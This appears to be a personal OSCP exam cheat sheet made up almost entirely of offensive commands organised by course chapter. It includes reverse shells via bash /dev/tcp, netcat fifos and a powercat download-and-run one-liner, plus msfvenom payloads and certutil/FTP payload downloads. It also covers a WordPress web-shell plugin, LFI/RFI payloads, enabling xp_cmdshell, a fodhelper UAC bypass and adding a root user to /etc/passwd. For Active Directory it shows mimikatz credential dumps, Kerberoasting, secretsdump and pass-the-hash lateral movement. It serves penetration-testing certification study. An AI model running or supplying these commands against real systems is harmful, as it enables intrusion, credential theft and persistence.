OSCP Recipe 2023

OSCP Recipe 2023

Date: 20230921

```
ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" root@192.168.212.45

ssh bob@10.11.1.136 -oKexAlgorithms=+diffie-hellman-group1-sha1

sudo tcpdump -nnvvvAi tun0 udp port
```

REFS

https://github.com/swisskyrepo/PayloadsAllTheThings
https://gtfobins.github.io/
https://book.hacktricks.xyz/welcome/readme

6. Information Gathering

RustScan

```
wget https://github.com/RustScan/RustScan/releases/download/2.0.1/rustscan_2.0.1_amd64.deb
sudo dpkg -i rustscan_2.0.1_amd64.deb
rustscan
rustscan -a 192.168.220.151 -u 5000 -t 8000 --scripts none
rustscan -a 192.168.220.151 -u 5000 -t 8000 --scripts -- -n -Pn -sVC -oG 151_ports.txt
```

PowerShell Scan

1..254 | % {"10.0.1.$_"}

```
https://raw.githubusercontent.com/RamblingCookieMonster/PowerShell/master/Invoke-Ping.ps1

Measure-Command {
Invoke-Ping (1..254 | % {"192.168.190.$_"}) -Quiet -Timeout 40 -throttle 200
} | Select -Property TotalSeconds
```

```
https://raw.githubusercontent.com/RamblingCookieMonster/Invoke-Parallel/master/Invoke-Parallel/Invoke-Parallel.ps1

Measure-Command {
1..1024 | Invoke-Parallel -ScriptBlock {echo ((New-Object Net.Sockets.TcpClient).Connect("127.0.0.1", $_)) "TCP port $_ is open"}
2>$null -throttle 200
} | Select -Property TotalSeconds
```

SMB

```
smbclient -N -L 192.168.220.13
smbclient -N //192.168.220.13/files
smbclient //192.168.220.13/files -U <UserName>%[password]

for i in $(cat smb_list.txt); do (echo $i;smbclient -N -L $i;echo); done
```

NetBIOS Name Query

```
nmblookup
nbtscan
```

Detailed Enumeration

```
nmap 10.11.1.115,136 -n -sV -p139,445 --script smb-protocols

enum4linux 192.168.220.13

> https://github.com/cddmp/enum4linux-ng

./enum4linux-ng.py 192.168.220.13

enum4linux -o 10.11.1.x

enum4linux -A 10.11.1.x

crackmapexec
```

Swiss Army Knife SMTP

```
sudo swaks -t daniela@beyond.com -t marcus@beyond.com --from john@beyond.com \
--attach @config.Library-ms --server 192.168.50.242 \
--body @body.txt --header "Subject: Staging Script" --suppress-data -ap
```

RDP

```
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

rdesktop 10.11.1.x -g 93% -u administrator -p password

xfreerdp /cert-ignore /v:192.168.219.75 /d:corp.com /u:jeff /p:'HenchmanPutridBonbon11'
```

File Sharing

```
impacket-smbserver -smb2support -user user -password user share .

python3 -m http.server 8000

python2 -m SimpleHTTPServer 8000

twist3 ftp -p21 -r Downloads

/home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/beyond/webdav/
```

File Download One-Liner

```
certutil.exe -urlcache -f http://192.168.119.133/plink.exe plink.exe
```

```
echo get nc.exe nc.exe | ftp -A 192.168.1.1

IEX (New-Object System.Net.Webclient).DownloadString("http://192.168.119.3/powercat.ps1");powercat -c 192.168.119.3 -p 4444 -e powershell

IEX%20(New-Object%20System.Net.Webclient).DownloadString(%22http%3A%2F%2F192.168.119.3%2Fpowercat.ps1%22)%3Bpowercat%20-c%20192.168.119.3%20-p%204444%20-e%20powershell

iwr -Uri "http://www.contoso.com" -OutFile "C:\path\file"

file_put_contents("/tmp/phpexec.php", file_get_contents("http://192.168.119.235/phpexec.php"));

wget --no-check-certificate https://
```

SHELL

```
msfvenom -p windows/shell_reverse_tcp lhost=192.168.49.90 lport=8888 -f exe > res.exe
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.133 LPORT=4444 -f asp -o plzrs.asp

windows/shell_reverse_tcp
windows/x64/shell_reverse_tcp
linux/x86/shell/reverse_tcp
linux/x64/shell_reverse_tcp
```

```
sudo apt install rlwrap
rlwrap -cAr nc -nvlp8888
```

```
wmic process call create "C:\Users\alice\nc.exe 192.168.119.226 8889 -e cmd.exe"
```

Bash + IO redirect + Pseudo-devices

```
<!-- Bash + IO redirect + Pseudo-devices -->
/bin/bash -i > /dev/tcp/192.168.119.x/8888 0<&1 2>&1
/bin/bash -c 'bash -i > /dev/tcp/192.168.119.x/8888 0<&1 2>&1'

mknod /tmp/backpipe p;ls -lh /tmp
/bin/bash 0< /tmp/backpipe 2>&1 | nc 192.168.119.126 8888 1> /tmp/backpipe
```

Netcat + Fifo + Pipe + Bash

```
<!-- Netcat + Fifo + Pipe + Bash -->
mkfifo /tmp/p;ls -lh /tmp
nc 192.168.15.1 8888 0</tmp/p | /bin/bash >/tmp/p 2>&1
```

[full-tty](https://0xffsec.com/handbook/shells/full-tty/)

```
script -c /bin/bash -q /dev/null
```

```
python --version [2>&1]
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

Windows FTP non-interactive download

```
echo open 10.11.0.4 21> ftp.txt
echo USER offsec>> ftp.txt
echo lab>> ftp.txt
echo bin >> ftp.txt
echo GET nc.exe >> ftp.txt
echo bye >> ftp.txt
```

`C:\> ftp -v -n -s:ftp.txt`

```
#!/bin/bash

if [ -z $4 ]
then
echo
echo"Automatic FTP Upload Script!!"
echo
echo"Usage: $0 <IP> <User> <Password> <File Name>"
echo
exit0
fi

HOST=$1
USER=$2
PASSWORD=$3
FILENAME=$4

ftp -inv $HOST <<EOF
user $USER $PASSWORD
binary
put $FILENAME $FILENAME
ls
!sleep 3
bye
EOF
```

9. Common Web Application Attacks

LFI: section.php?page=

```
curl -s -G 'http://10.11.1.35/section.php' --data-urlencode 'page=php://filter/read=convert.base64-encode/resource=section.php' |
base64 -d
```

RFI

```
curl -X POST 'http://10.11.1.35/section.php?page=php://input' --data '<?php echo shell_exec("id;pwd"); ?>'
```

[Windows Path Traversal Cheatsheet](https://gist.github.com/SleepyLctl/823c4d29f834a71ba995238e80eb15f9#file-windows-path-traversal-cheatsheet)

Gobuster

```
gobuster dir -u http://offsecwp -w /usr/share/dirb/wordlists/common.txt

gobuster dir -u http://offsecwp -w /usr/share/dirb/wordlists/common.txt -r -f -x php,aspx,jsp

gobuster dir -u http://192.168.50.16:5002 -w /usr/share/wordlists/dirb/big.txt -p pattern

gobuster dir -f -r -x .php,.html -w /usr/share/dirb/wordlists/common.txt -u http://10.
/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
--proxy socks5://127.0.0.1:1080
```

WordPress Malicious Plugin

```
[Plugin File Editor][Hello Dolly]
echo system($_GET[1]);
die();

[plugins]
Activate `Hello Dolly`

http://host.domain.com/wordpress/wp-content/plugins/hello.php?1=whoami
```

```
# Write a web shell with a malicious plugin.
# Copy a plugin shell from SecLists and zip it:
> https://github.com/danielmiessler/SecLists/blob/master/Web-Shells/WordPress/plugin-shell.php


$ cp /usr/share/seclists/Web-Shells/WordPress/plugin-shell.php .
$ zip plugin-shell.zip plugin-shell.php


#Upload plugin-shell.zip (Plugins > Add New) and install it (Upload Plugin > Browse... > Install Now) but do not activate! Now you can access the web shell:
$ curl 'http://10.10.13.37/wp-content/plugins/plugin-shell/plugin-shell.php?cmd=whoami'
```

```
wpscan --url http://sandbox.local -e u,t,ap,cb,dbe
wpscan --url http://192.168.218.244/ -e p --plugins-detection aggressive
```

10. SQL Injection Attacks

```
mysql -u root -p'root' -h 192.168.50.16 -P 3306

impacket-mssqlclient Administrator:Lab123@192.168.50.18 -windows-auth

EXECUTE sp_configure 'show advanced options',1; RECONFIGURE;sp_configure 'xp_cmdshell',1;RECONFIGURE;
```

12. Locating Public Exploits

```
searchsploit ubuntu 10 local escalation

searchsploit linux kernel ubuntu 16.04

searchsploit ossec | grep -v '/dos/'

searchsploit linux kernel | grep -v dos | grep ' 3\.' | grep -i 'root\|privilege\|exploit'
```

13. Fixing Exploits

Using EoL Python Versions on Kali

https://www.kali.org/docs/general-use/using-eol-python-versions/

Python Virtualenv

```
mkdir .py2env;cd .py2env
virtualenv --python=python2 env
source env/bin/activate

mkdir .py3env;cd .py3env
```

```
virtualenv --python=python3 env
source env/bin/activate

pip --version
deactivate
```

```
sudo apt install mingw-w64
```

```
sudo apt install wine
dpkg --add-architecture i386 && apt-get update && apt-get install wine32
```

15. Password Attacks

```
hydra -l george -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://192.168.50.201

hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.50.201 http-post-form "/index.php:fm_usr=user&fm_pwd=^PASS^:Login failed. Invalid"

hashcat --help | grep -i "ntlm"

hashcat -m 1000 nelly.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.50.212 -c "powershell -enc JABjAGwAaQBlAG4AdA..."

kpcli
```

16. Windows Privilege Escalation

Displays information about Remote Desktop Session Host servers

```
Query User

Query Session
```

Windows QUERY

```
whoami
whoami /priv
whoami /groups

net user

systeminfo

wmic OS get OSArchitecture

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Default*

reg query HKLM /f password /t REG_SZ /s

findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml

`WIN` + `R`: msinfo32

shutdown /r /t 0

mountvol
```

```
ipconfig /all

route print

netstat -ano

netsh advfirewall show currentprofile

netsh advfirewall firewall show rule name=all

icacls
```

```
powershell -nop -ep bypass [-w hidden]

Get-LocalUser

Get-LocalGroup

Get-LocalGroupMember adminteam

Get-Process

Get-ChildItem -Path C:\Test -Name

Get-ChildItem -Path C:\Test\*.txt -Recurse -Force

Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue

Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue

Get-ChildItem -Path C:\Users\dave\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue
```

```
tasklist /svc
tasklist /v
```

```
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

wmic product get name, version, vendor

wmic qfe get Caption, Description, HotFixID, InstalledOn

accesschk.exe -uws "Everyone" "C:\Program Files"

Get-ChildItem "C:\Program Files" Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"}

powershell
driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object ‘Display Name’, ‘Start Mode’, Path

Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer | Where-Object {$_.DeviceName -like
"*VMware*"}

reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
```

PowerShell Transcription1

```
Get-History

(Get-PSReadlineOption).HistorySavePath

Start-Transcript -Path "C:\Users\Public\Transcripts\transcript01.txt"

type C:\Users\Public\Transcripts\transcript01.txt

Stop-Transcript
```

PowerShell Script Block Logging

```
When Script Block Logging is enabled, PowerShell logs the following events to the PowerShellCore/Operational log:
EventId: 4104

Get-WinEvent Microsoft-Windows-PowerShell/Operational | Where-Object Id -eq 4104
```

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7.2

```
wmic service get name,displayname,startname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"

wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """

Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like 'Running'}

Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

Get-CimInstance -ClassName win32_service | Select Name,State,PathName

wmic service get /?
wmic service where caption="Serviio" get name, caption, state, startmode
wmic service where started=true get name,startname,pathname
```

```
schtasks /query /fo LIST /v

<!-- ADMIN REQUIRED -->
C:\Windows\System32\Tasks
```

```
powershell.exe Start-Process cmd.exe -Verb runAs
```

fodhelper.exe Bypass UAC

```
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe" /f
```

[Windows Privilege Escalation](https://gist.github.com/sckalath/8dacd032b65404ef7411)

17. Linux Privilege Escalation

Determine the Current Shell in Linux

```
echo $0
```

LINUX QUERY

[Basic Linux Privilege Escalation](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
local-network-process-file-package-module-volume

```
id
pwd
sudo -l

ls -lah /etc/shadow /etc/shadow
```

```
cat /etc/passwd
cat /etc/passwd | grep -vE "nologin|false"

hostname
hostname -f

cat /etc/issue
cat /etc/*lease
lsb_release -a

uname -r
uname -i
uname -a
arch

env
cat .bashrc

ps aux
ps -ef

ip ro
ss -anp
netstat -antup
lsof -inP
cat /proc/net/arp

cat /etc/iptables
cat /etc/iptables/rules.v4
find / -name *iptables* 2>/dev/null

ls -lah /etc/cron*
crontab -l
cat /etc/crontab
grep -i "cron" /var/log/cron.log
grep -i "cron" /var/log/syslog

dpkg -l
rpm -qa

find /home -ls 2> /dev/null
find / -writable -type d 2> /dev/null
find / ! -path "/proc/*" -user root -writable -ls 2> /dev/null

#<!-- https://gtfobins.github.io/ -->
find / ! -path "/proc/*" -user root -perm -04000 -ls 2> /dev/null
find / -perm -u=s -type f -ls 2>/dev/null

#<!-- match name case insensitive -->
find . -iname '*config*' -ls 2>/dev/null

cat /etc/fstab
mount
lsblk

lsmod
/sbin/modinfo libata

unix-privesc-check
```

```
openssl passwd w00t
echo "toor:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd

/usr/sbin/getcap -r / 2>/dev/null
```

Precompiled Exploit

https://github.com/lucyoa/kernel-exploits
https://github.com/SecWiki/linux-kernel-exploits
https://gitlab.com/exploit-database/exploitdb-bin-sploits
https://github.com/bsauce/kernel-exploit-factory

18. Port Redirection and SSH Tunneling

sshuttle

.ssh/config

```
Host SEAN
Hostname 10.11.1.251
User sean
Host LUIGI
Hostname 10.1.1.1
Port 22
User root
ProxyCommand ssh -W %h:%p SEAN
```

```
sshuttle r LUIGI 10.3.3.0/24
```

19. Tunneling Through Deep Packet Inspection

```
chisel.exe client 192.168.45.197:22 R:9050:socks
```

21. Active Directory Introduction and Enumeration

```
Import-Module .\PowerView.ps1
```

Basic

```
Get-NetDomain
Get-NetUser
Get-NetUser | select cn
Get-NetUser | select cn,pwdlastset,lastlogon
Get-NetGroup | select cn
Get-NetGroup "Sales Department" | select member
```

Operating Systems

```
Get-NetComputer
Get-NetComputer | select operatingsystem,dnshostname
```

Permissions and Logged on Users

```
Find-LocalAdminAccess
Get-NetSession -ComputerName files04
Get-NetSession -ComputerName files04 -Verbose
Get-Acl -Path HKLM:SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\ | fl
Get-NetComputer | select dnshostname,operatingsystem,operatingsystemversion
.\PsLoggedon.exe \\files04
```

Service Principal Names

```
setspn -L iis_service
Get-NetUser -SPN | select samaccountname,serviceprincipalname
nslookup.exe web04.corp.com
```

Object Permissions

```
Get-ObjectAcl -Identity stephanie
Convert-SidToName S-1-5-21-1987370270-658905905-1781884369-1104
Get-ObjectAcl -Identity "Management Department" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select
SecurityIdentifier,ActiveDirectoryRights
```

Domain Shares

```
Find-DomainShare
cat \\dc1.corp.com\sysvol\corp.com\Policies\oldpolicy\old-policy-backup.xml
cpassword
gpp-decrypt "+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE"
```

BloodHound

```
sudo neo4j start

. .\SharpHound.ps1
Invoke-BloodHound -c all

match p=(a:Computer)-[r:HasSession]->(b:User) return p
```

22. Attacking Active Directory Authentication

```
privilege::debug
sekurlsa::logonpasswords

crackmapexec smb ad_ip445.txt -u adusers.txt -p 'Nexus123!' --continue-on-success
crackmapexec smb ad_ip445.txt -d corp.com -u jen -p 'Nexus123!' --shares

impacket-rdp_check john:easyas123@10.11.1.221

impacket-GetNPUsers -dc-ip 192.168.50.70 -request -outputfile hashes.asreproast corp.com/pete
sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

impacket-GetUserSPNs -dc-ip 192.168.50.70 -request -outputfile hashes.kerberoast corp.com/pete
sudo hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

impacket-secretsdump -just-dc-user dave corp.com/jeffadmin:"BrouhahaTungPerorateBroom2023\!"@192.168.50.70
```

23. Lateral Movement in Active Directory

```
wmic /node:192.168.50.73 /user:jen /password:Nexus123! process call create "calc"

impacket-wmiexec -hashes :2892D26CDF84D7A70E2EB3B9F05C425E Administrator@192.168.50.73

winrs -r:files04 -u:jen -p:Nexus123! "powershell -nop -w hidden -e
JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHM

HUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"
nc -lnvp 443
```

```
evil-winrm -i 192.168.219.72 -u jen -p 'Nexus123!'

crackmapexec winrm 192.168.219.72 -d corp.com -u jen -p 'Nexus123!' -x whoami

impacket-dcomexec 'corp.com/jen:Nexus123!'@192.168.219.72 -object MMC20
```

```
privilege::debug
sekurlsa::tickets /export
kerberos::ptt [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi
```

修訂版本 #4
★由 treeman 建立於 17 ﷺ 2023 16:35:04
由 treeman 更新於 17 ﷺ 2023 19:10:21